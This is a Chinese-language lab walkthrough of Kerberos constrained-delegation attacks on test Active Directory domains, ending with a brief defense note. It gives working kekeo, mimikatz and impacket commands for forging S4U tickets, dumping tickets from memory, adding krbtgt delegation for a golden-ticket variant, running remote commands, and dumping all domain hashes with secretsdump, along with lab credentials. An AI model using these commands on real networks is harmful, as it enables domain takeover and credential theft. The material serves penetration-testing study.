环境
域: test.com
域控:Windows server 2012R2
, 主机名: AD
, IP: 192.168.1.7
域内主机:系统:windows 2012R2
,主机名:HyyMbb
,ip:192.168.1.22
被委派用户test
测试用户test1
操作步骤
我们需要提前知道的信息
被委派用户的明文密码或者ntml
密码:123!@#qwe
ntml:e5ae562ddfaa6b446c32764ab1ebf3ed
1、已经知道服务用户明文的条件下,我们可以用kekeo
请求该用户的TGT
tgt::ask /user:test /domain:test.com /password:123!@#qwe /ticket:test.kirbi
我们知道NTML
也可以生成TGT
tgt::ask /user:test /domain:test.com /NTLM:e5ae562ddfaa6b446c32764ab1ebf3ed
参数:
/user
: 服务用户的用户名(即设置的被委派的用户)
/password
: 服务用户的明文密码
/domain
: 所在域名
/ticket
: 指定票据名称,不过这个参数没有生效,可以忽略
得到服务用户TGT:
TGT_test@TEST.COM_krbtgt~test.com@TEST.COM.kirbi
2、然后我们可以使用这张TGT
通过伪造s4u
请求以administrator
用户身份请求访问AD(域控) CIFS的ST
tgs::s4u /tgt:TGT_test@TEST.COM_krbtgt~test.com@TEST.COM.kirbi /user:Administrator@test.com /service:cifs/AD.test.com
S4U2Self
获取到的ST1
以及S4U2Proxy
获取到的dm08 CIFS
服务的ST2
会保存在当前目录下
3、然后我们用mimikatz
(kekeo
也可以)将ST2
导入当前会话即可
kerberos::ptt TGS_Administrator@test.com@TEST.COM_cifs~AD.test.com@TEST.COM.kirbi
成功访问到AD
的cifs
服务
注:
如果我们不知道服务用户的明文和NTLM Hash
,但是我们有了服务用户登陆的主机权限(需要本地管理员权限
),我们可以用mimikatz
直接从内存中把服务用户的TGT dump
出来
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
这样我们就能跳过第一步,直接进行二三步骤就可以了~~
利用约束委派打造变种黄金票据
环境
域: HYYMBB.com
域控:Windows server 2008R2
, 主机名: AD
, IP: 192.168.1.23
域内主机:系统:windows 2012R2
,主机名:win2012
,ip:192.168.1.22
被委派用户test
测试用户test1
这个实验我复现的时候在win2012
的域控上未成功,据说是2012 及以后的KDC,受限委派的时候用的机制变成了 Resource Based Constrained Delegation
所以这个只能适用于win2008
版本之前的(包括win2008)
我们都知道TGT的生成是由krbtgt
用户加密和签名的,如果我们能委派域上的用户去访问TGS,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt
的hash
来伪造TGT
,不过我们通过约束委派也能达到同样的效果。
krbtgt
默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN
我们可以使用powershell
来添加
Import-Module ActiveDirectory
$user = Get-ADUser test
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/HYYMBB.com") }
这儿多说一句,有的同学发现一些用户属性没有委派的选项,那是因为这时的用户还不是服务账号,我们可以用系统的自带工具setspn
来绑定spn
setspn -A test/test 用户名
更详细的用法请自行百度
注:域控默认安装ActiveDirectory,如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll
我们获得的test
用户的信息
密码:123!@#qwe
NTML:e5ae562ddfaa6b446c32764ab1ebf3ed
1、我们可以用impacket
系列的getST
向KDC请求administrator
的TGT
getst.exe -dc-ip 192.168.1.23 -spn krbtgt/HYYMBB.com -impersonate Administrator HYYMBB.com/test:123!@#qwe
参数:
-impersonate
:表示伪造用户
-spn
:表示我们要委派的服务的spn,这里是TGS
-dc-ip
:域控ip
执行之后会在当前目录生成一个缓存文件Administrator.ccache
2、注入ptc
(pass the cache)
kerberos::ptc Administrator.ccache
在当前终端退出后就可以访问域控了
3、执行命令
执行命令的话我们可以用impacket
系列或者powershell
都可以
这儿我们使用impacket
中的wmiexec.exe
set KRB5CCNAME=Administrator.ccache
wmiexec.exe -no-pass -k administrator@AD.HYYMBB.com -dc-ip 192.168.1.23
导出域控上所有用户以及主机的hash
set KRB5CCNAME=Administrator.ccache
secretsdump.exe -no-pass -k AD.HYYMBB.com
防御
1、高权限用户没有在特殊要求之下设置为不可委派
为了防止凭据被盗微软推出了Protected Users
组,适用于Windows Server 2016
,Windows Server 2012 R2
、 Windows Server 2012